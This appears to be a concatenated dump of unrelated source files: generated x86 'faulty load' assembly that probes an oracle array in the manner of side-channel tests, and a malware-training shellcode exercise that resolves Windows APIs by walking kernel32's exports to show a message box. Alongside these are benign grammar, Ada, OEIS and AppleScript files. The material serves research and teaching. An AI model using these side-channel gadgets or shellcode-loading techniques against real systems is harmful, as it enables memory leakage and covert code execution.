nop
nop
nop
nop
cmp $27053, %r15
lea addresses_A_ht+0x470f, %rsi
lea addresses_A_ht+0x8143, %rdi
nop
nop
nop
nop
and $25172, %r14
mov $62, %rcx
rep movsl
nop
nop
nop
nop
nop
dec %rdi
lea addresses_UC_ht+0x1bcdb, %rsi
lea addresses_WT_ht+0x6453, %rdi
sub $15007, %rdx
mov $49, %rcx
rep movsb
nop
and $38868, %rcx
lea addresses_WT_ht+0xe943, %r10
nop
nop
nop
nop
sub $61071, %rcx
mov (%r10), %dx
nop
inc %rcx
lea addresses_WC_ht+0xb743, %rcx
nop
nop
nop
nop
sub $22629, %rdi
movb (%rcx), %r15b
nop
and %rbx, %rbx
lea addresses_A_ht+0xde43, %rsi
lea addresses_WT_ht+0xe143, %rdi
clflush (%rsi)
and %rbx, %rbx
mov $51, %rcx
rep movsl
nop
nop
nop
nop
sub $53167, %rsi
lea addresses_WT_ht+0x147c3, %rdx
nop
nop
and $31705, %rcx
mov (%rdx), %r14
nop
nop
inc %rdi
lea addresses_UC_ht+0xc583, %rsi
lea addresses_A_ht+0x16083, %rdi
nop
sub $15143, %rbx
mov $114, %rcx
rep movsb
nop
nop
nop
and $33222, %r14
lea addresses_WT_ht+0x17d43, %rsi
lea addresses_WC_ht+0x13697, %rdi
nop
nop
add $63628, %r10
mov $8, %rcx
rep movsq
cmp %rdx, %rdx
lea addresses_WT_ht+0x16263, %rsi
lea addresses_UC_ht+0x543, %rdi
nop
nop
add %r15, %r15
mov $41, %rcx
rep movsb
nop
add $42032, %r10
lea addresses_normal_ht+0x11b03, %rsi
lea addresses_A_ht+0xf023, %rdi
and %r14, %r14
mov $73, %rcx
rep movsq
nop
nop
nop
nop
cmp $48853, %r14
lea addresses_normal_ht+0x18b03, %rsi
lea addresses_WT_ht+0x7f43, %rdi
nop
nop
nop
nop
nop
dec %r14
mov $55, %rcx
rep movsw
nop
nop
inc %rdi
lea addresses_A_ht+0xcb43, %rbx
nop
sub $43391, %rsi
mov $0x6162636465666768, %rdx
movq %rdx, (%rbx)
nop
nop
nop
nop
nop
xor %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %r9
push %rax
push %rbp
// Store
lea addresses_normal+0x178a3, %rax
dec %r12
movb $0x51, (%rax)
nop
sub $20471, %r12
// Store
lea addresses_A+0x1a1e3, %rax
nop
xor $60833, %r15
movb $0x51, (%rax)
nop
nop
nop
nop
nop
add %r15, %r15
// Load
lea addresses_D+0x14c7b, %r15
add %r9, %r9
mov (%r15), %r8w
nop
nop
inc %r9
// Store
lea addresses_PSE+0x8543, %rbp
inc %r14
mov $0x5152535455565758, %r15
movq %r15, %xmm7
movups %xmm7, (%rbp)
nop
nop
nop
nop
sub %r8, %r8
// Store
lea addresses_US+0x1203, %r8
nop
nop
nop
nop
nop
and %rax, %rax
movb $0x51, (%r8)
nop
nop
nop
nop
cmp $28527, %rbp
// Faulty Load
lea addresses_PSE+0x8543, %r8
nop
nop
nop
nop
nop
dec %rbp
mov (%r8), %r15d
lea oracles, %r12
and $0xff, %r15
shlq $12, %r15
mov (%r12,%r15,1), %r15
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'58': 2982}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
src/main/antlr/io/anqur/mbsql/MbSql.g4 | anqurvanillapy/mbsql | 0 | 2523 | grammar MbSql;
@header {
package io.anqur.mbsql;
}
query : EOF
| simpleStmt EOF
;
simpleStmt : selectStmt
;
selectStmt : SELECT (ID | ALL) FROM ID (WHERE EQ AND EQ)
;
SELECT : ;
ID : ;
ALL : ;
FROM : ;
WHERE : ;
EQ : ;
STRING_LITERAL : ;
AND : ;
|
src/utils.ads | thindil/steamsky | 80 | 8213 | <gh_stars>10-100
-- Copyright 2017-2021 <NAME>
--
-- This file is part of Steam Sky.
--
-- Steam Sky is free software: you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation, either version 3 of the License, or
-- (at your option) any later version.
--
-- Steam Sky is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with Steam Sky. If not, see <http://www.gnu.org/licenses/>.
--## rule off REDUCEABLE_SCOPE
with Ada.Strings.Unbounded; use Ada.Strings.Unbounded;
--## rule on REDUCEABLE_SCOPE
with Game; use Game;
-- ****h* Utils/Utils
-- FUNCTION
-- Provided various uncategorized code
-- SOURCE
package Utils with
SPARK_Mode
is
-- ****
-- ****f* Utils/Utils.GetRandom
-- FUNCTION
-- Return random number from Min to Max range. This one can't be formaly
-- verified as is depends on random number generator.
-- PARAMETERS
-- Min - Starting value from which generate random number
-- Max - End value from which generate random number
-- RESULT
-- Random number between Min and Max
-- SOURCE
function Get_Random(Min, Max: Integer) return Integer with
Global => null,
Pre => Min <= Max,
Post => Get_Random'Result in Min .. Max,
Test_Case => (Name => "Test_GetRandom", Mode => Nominal);
-- ****
--## rule off SIMPLIFIABLE_EXPRESSIONS
-- ****f* Utils/Utils.DaysDifference
-- FUNCTION
-- Count days difference between selected date and current game date
-- PARAMETERS
-- DateToCompare - In game date to compare with current game date
-- RESULT
-- Amount of days difference between DateToCompare and current game date
-- SOURCE
function Days_Difference(Date_To_Compare: Date_Record) return Integer is
((Game_Date.Day + (30 * Game_Date.Month) + (Game_Date.Year * 360)) -
(Date_To_Compare.Day + (30 * Date_To_Compare.Month) +
(Date_To_Compare.Year * 360))) with
Global => Game_Date,
Test_Case => (Name => "Test_DaysDifference", Mode => Robustness);
-- ****
--## rule on SIMPLIFIABLE_EXPRESSIONS
-- ****f* Utils/Utils.GenerateRoboticName
-- FUNCTION
-- Generate robotic type name for bases, mobs, ships, etc
-- RESULT
-- Random robotic name
-- SOURCE
function Generate_Robotic_Name return Unbounded_String with
Global => null,
Post => Length(Source => Generate_Robotic_Name'Result) > 0,
Test_Case => (Name => "Test_GenerateRoboticName", Mode => Nominal);
-- ****
end Utils;
|
src/data/font.asm | jonasbantunes/tictactoe-gb | 0 | 93374 | SECTION "Font", ROM0
FontTiles:
INCBIN "src/assets/font.chr"
FontTilesEnd: |
src/test/resources/PolymorphicDslCommonLexer.g4 | google/polymorphicDSL | 3 | 4715 | <reponame>google/polymorphicDSL<gh_stars>1-10
lexer grammar PolymorphicDslCommonLexer;
NUMBER : [0-9]+ DECIMAL? ;
fragment DECIMAL : '.' [0-9]+ ;
WS : [ \t\r\n] -> skip ;
END_OF_FILE : EOF -> skip ;
|
oeis/013/A013842.asm | neoneye/loda-programs | 11 | 172684 | ; A013842: a(n) = 7^(5*n + 1).
; Submitted by <NAME>
; 7,117649,1977326743,33232930569601,558545864083284007,9387480337647754305649,157775382034845806615042743,2651730845859653471779023381601,44567640326363195900190045974568007,749048330965186233494494102694564493649,12589255298531885026341962383987545444758743,211587613802425391637729361787678676290060193601,3556153025177363557255317383565515512407041673852007,59768263894155949306790119265585619217025149412430681649,1004525211269079039999221534496697502180541686174722466474743
mov $2,16807
pow $2,$0
mov $0,$2
mul $0,7
|
programs/oeis/176/A176635.asm | neoneye/loda | 22 | 93278 | <gh_stars>10-100
; A176635: a(n) = 6*a(n-1)-8*a(n-2) for n > 1; a(0) = 57, a(1) = 242.
; 57,242,996,4040,16272,65312,261696,1047680,4192512,16773632,67101696,268421120,1073713152,4294909952,17179754496,68719247360,274877448192,1099510710272,4398044676096,17592182374400,70368736837632,281474962030592,1125899877482496,4503599568650240,18014398392041472,72057593803046912,288230375681949696,1152921503667322880,4611686016548339712,18446744069951455232,73786976287322013696,295147905164320440320,1180591620687346532352,4722366482809515671552,18889465931358321770496,75557863725673805250560,302231454903176257339392,1208925819613667102031872,4835703278456592553476096,19342813113830218504601600,77371252455328570599800832,309485009821329675561992192,1237940039285349488573546496,4951760157141459526945341440,19807040628565961253083676672,79228162514264091302939328512,316912650057056857792966557696,1267650600228228416334284718080,5070602400912915635661975846912,20282409603651666483297577336832,81129638414606673814489657245696,324518553658426711020557324779520,1298074214633706875607426690711552,5192296858534827565480101546033152,20769187434139310388021195750506496,83076749736557241804286362134773760,332306998946228967721548606804590592
add $0,7
mov $1,2
pow $1,$0
sub $1,7
pow $1,2
sub $1,14641
div $1,256
add $1,57
mov $0,$1
|
scripts/Simulate Undo Go.applescript | samschloegel/qlab-scripts | 8 | 4163 | <reponame>samschloegel/qlab-scripts
-- For help, bug reports, or feature suggestions, please visit https://github.com/samschloegel/qlab-scripts
-- Built for QLab 4. v211121-01
tell application id "com.figure53.QLab.4" to tell front workspace
movePlayheadUpASequence
set theSelection to (selected as list)
stop theSelection
end tell |
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_919.asm | ljhsiun2/medusa | 9 | 4361 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %rax
push %rbx
push %rdx
push %rsi
lea addresses_normal_ht+0x5d28, %r12
nop
nop
dec %r10
movb $0x61, (%r12)
add $54339, %rsi
lea addresses_A_ht+0x3eec, %rdx
nop
nop
inc %r8
mov (%rdx), %eax
nop
nop
nop
and $65123, %r12
lea addresses_WT_ht+0x1efec, %rdx
nop
nop
nop
dec %rbx
movb (%rdx), %r10b
nop
nop
add %r8, %r8
lea addresses_normal_ht+0x1bfc0, %r10
clflush (%r10)
nop
nop
sub $57828, %r8
mov $0x6162636465666768, %rsi
movq %rsi, %xmm1
and $0xffffffffffffffc0, %r10
movaps %xmm1, (%r10)
nop
nop
nop
nop
nop
sub %rbx, %rbx
pop %rsi
pop %rdx
pop %rbx
pop %rax
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r14
push %r8
push %rdi
push %rdx
// Load
lea addresses_RW+0x1296c, %rdx
nop
nop
nop
nop
add $18032, %r13
mov (%rdx), %r8
sub %r13, %r13
// Faulty Load
lea addresses_A+0x156ec, %r10
nop
nop
nop
nop
and $32469, %r12
movaps (%r10), %xmm3
vpextrq $0, %xmm3, %r13
lea oracles, %r12
and $0xff, %r13
shlq $12, %r13
mov (%r12,%r13,1), %r13
pop %rdx
pop %rdi
pop %r8
pop %r14
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Testcases/random2.asm | 5ayam5/COL216-A4 | 0 | 12313 | <filename>Testcases/random2.asm<gh_stars>0
lw $t2, 1000
lw $t0, 2000
addi $t0, $t1, 1
|
alloy4fun_models/trashltl/models/17/EhrJJrYNYB8snTadj.als | Kaixi26/org.alloytools.alloy | 0 | 4122 | open main
pred idEhrJJrYNYB8snTadj_prop18 {
always all f: File | (f in Protected until f in Trash)
}
pred __repair { idEhrJJrYNYB8snTadj_prop18 }
check __repair { idEhrJJrYNYB8snTadj_prop18 <=> prop18o } |
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Car-p.asm | prismotizm/gigaleak | 0 | 24897 | Name: Car-p.asm
Type: file
Size: 60364
Last-Modified: '1992-07-29T15:00:00Z'
SHA-1: 3349106AAE5DC42E0F96A8BE1133F99FA14BA123
Description: null
|
oeis/140/A140303.asm | neoneye/loda-programs | 11 | 80294 | ; A140303: Triangle T(n,k) = 3^(n-k) read by rows.
; Submitted by <NAME>
; 1,3,1,9,3,1,27,9,3,1,81,27,9,3,1,243,81,27,9,3,1,729,243,81,27,9,3,1,2187,729,243,81,27,9,3,1,6561,2187,729,243,81,27,9,3,1,19683,6561,2187,729,243,81,27,9,3,1,59049,19683,6561,2187,729,243,81,27,9,3,1
lpb $0
add $1,1
sub $0,$1
lpe
sub $1,$0
mov $0,3
pow $0,$1
|
exercises/module1/lesson5_shellcode/c_to_shellcode/solution/shellcode_task32_step2.asm | lucaadrian/malware_training_vol1 | 1,708 | 81827 | <gh_stars>1000+
; compile with:
; ml /c <file_name>.asm
; link <file_name>.obj /entry:main
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.26.28806.0
TITLE C:\Users\IEUser\Source\Repos\Project1\Project1\shellcode_task_step1.cpp
.686P
.XMM
;include listing.inc
.model flat
;INCLUDELIB LIBCMT
;INCLUDELIB OLDNAMES
assume fs:nothing
CONST SEGMENT
$SG89718 DB 'k', 00H, 'e', 00H, 'r', 00H, 'n', 00H, 'e', 00H, 'l', 00H
DB '3', 00H, '2', 00H, '.', 00H, 'd', 00H, 'l', 00H, 'l', 00H, 00H
DB 00H
ORG $+2
$SG89720 DB 'LoadLibraryA', 00H
ORG $+3
$SG89722 DB 'GetProcAddress', 00H
ORG $+1
$SG89724 DB 'user32.dll', 00H
ORG $+1
$SG89725 DB 'MessageBoxW', 00H
$SG89727 DB 'O', 00H, 'K', 00H, 00H, 00H
ORG $+2
$SG89728 DB 'L', 00H, 'o', 00H, 'a', 00H, 'd', 00H, 'e', 00H, 'd', 00H
DB '!', 00H, 00H, 00H
CONST ENDS
PUBLIC ?get_module_by_name@@YAPAXPA_W@Z ; get_module_by_name
PUBLIC ?get_func_by_name@@YAPAXPAXPAD@Z ; get_func_by_name
PUBLIC _main
; Function compile flags: /Odtp
_TEXT SEGMENT
__GetProcAddress$ = -28 ; size = 4
_u32_dll$ = -24 ; size = 4
__LoadLibraryA$ = -20 ; size = 4
__MessageBoxW$ = -16 ; size = 4
_get_proc$ = -12 ; size = 4
_load_lib$ = -8 ; size = 4
_base$ = -4 ; size = 4
_main PROC
; File C:\Users\IEUser\Source\Repos\Project1\Project1\shellcode_task_step1.cpp
; Line 153
push ebp
mov ebp, esp
sub esp, 28 ; 0000001cH
; Line 154
push OFFSET $SG89718
call ?get_module_by_name@@YAPAXPA_W@Z ; get_module_by_name
add esp, 4
mov DWORD PTR _base$[ebp], eax
; Line 155
cmp DWORD PTR _base$[ebp], 0
jne SHORT $LN2@main
; Line 156
mov eax, 1
jmp $LN1@main
$LN2@main:
; Line 159
push OFFSET $SG89720
mov eax, DWORD PTR _base$[ebp]
push eax
call ?get_func_by_name@@YAPAXPAXPAD@Z ; get_func_by_name
add esp, 8
mov DWORD PTR _load_lib$[ebp], eax
; Line 160
cmp DWORD PTR _load_lib$[ebp], 0
jne SHORT $LN3@main
; Line 161
mov eax, 2
jmp SHORT $LN1@main
$LN3@main:
; Line 163
push OFFSET $SG89722
mov ecx, DWORD PTR _base$[ebp]
push ecx
call ?get_func_by_name@@YAPAXPAXPAD@Z ; get_func_by_name
add esp, 8
mov DWORD PTR _get_proc$[ebp], eax
; Line 164
cmp DWORD PTR _get_proc$[ebp], 0
jne SHORT $LN4@main
; Line 165
mov eax, 3
jmp SHORT $LN1@main
$LN4@main:
; Line 167
mov edx, DWORD PTR _load_lib$[ebp]
mov DWORD PTR __LoadLibraryA$[ebp], edx
; Line 168
mov eax, DWORD PTR _get_proc$[ebp]
mov DWORD PTR __GetProcAddress$[ebp], eax
; Line 170
push OFFSET $SG89724
call DWORD PTR __LoadLibraryA$[ebp]
mov DWORD PTR _u32_dll$[ebp], eax
; Line 176
push OFFSET $SG89725
mov ecx, DWORD PTR _u32_dll$[ebp]
push ecx
call DWORD PTR __GetProcAddress$[ebp]
mov DWORD PTR __MessageBoxW$[ebp], eax
; Line 182
cmp DWORD PTR __MessageBoxW$[ebp], 0
jne SHORT $LN5@main
mov eax, 4
jmp SHORT $LN1@main
$LN5@main:
; Line 184
push 0
push OFFSET $SG89727
push OFFSET $SG89728
push 0
call DWORD PTR __MessageBoxW$[ebp]
; Line 186
xor eax, eax
$LN1@main:
; Line 187
mov esp, ebp
pop ebp
ret 0
_main ENDP
_TEXT ENDS
; Function compile flags: /Odtp
; COMDAT ?get_func_by_name@@YAPAXPAXPAD@Z
_TEXT SEGMENT
_funcRVA$1 = -60 ; size = 4
_nameRVA$2 = -56 ; size = 4
_nameIndex$3 = -52 ; size = 4
_funcsListRVA$ = -48 ; size = 4
_namesOrdsListRVA$ = -44 ; size = 4
_funcNamesListRVA$ = -40 ; size = 4
_namesCount$ = -36 ; size = 4
_expAddr$ = -32 ; size = 4
_nt_headers$ = -28 ; size = 4
_exportsDir$ = -24 ; size = 4
_idh$ = -20 ; size = 4
_curr_name$4 = -16 ; size = 4
_exp$ = -12 ; size = 4
_i$5 = -8 ; size = 4
_k$6 = -4 ; size = 4
_module$ = 8 ; size = 4
_func_name$ = 12 ; size = 4
?get_func_by_name@@YAPAXPAXPAD@Z PROC ; get_func_by_name, COMDAT
; File C:\Users\IEUser\Source\Repos\Project1\Project1\shellcode_task_step1.cpp
; Line 114
push ebp
mov ebp, esp
sub esp, 60 ; 0000003cH
; Line 115
mov eax, DWORD PTR _module$[ebp]
mov DWORD PTR _idh$[ebp], eax
; Line 116
mov ecx, DWORD PTR _idh$[ebp]
movzx edx, WORD PTR [ecx]
cmp edx, 23117 ; 00005a4dH
je SHORT $LN8@get_func_b
; Line 117
xor eax, eax
jmp $LN1@get_func_b
$LN8@get_func_b:
; Line 119
mov eax, DWORD PTR _idh$[ebp]
mov ecx, DWORD PTR _module$[ebp]
add ecx, DWORD PTR [eax+60]
mov DWORD PTR _nt_headers$[ebp], ecx
; Line 120
mov edx, 8
imul eax, edx, 0
mov ecx, DWORD PTR _nt_headers$[ebp]
lea edx, DWORD PTR [ecx+eax+120]
mov DWORD PTR _exportsDir$[ebp], edx
; Line 121
mov eax, DWORD PTR _exportsDir$[ebp]
cmp DWORD PTR [eax], 0
jne SHORT $LN9@get_func_b
; Line 122
xor eax, eax
jmp $LN1@get_func_b
$LN9@get_func_b:
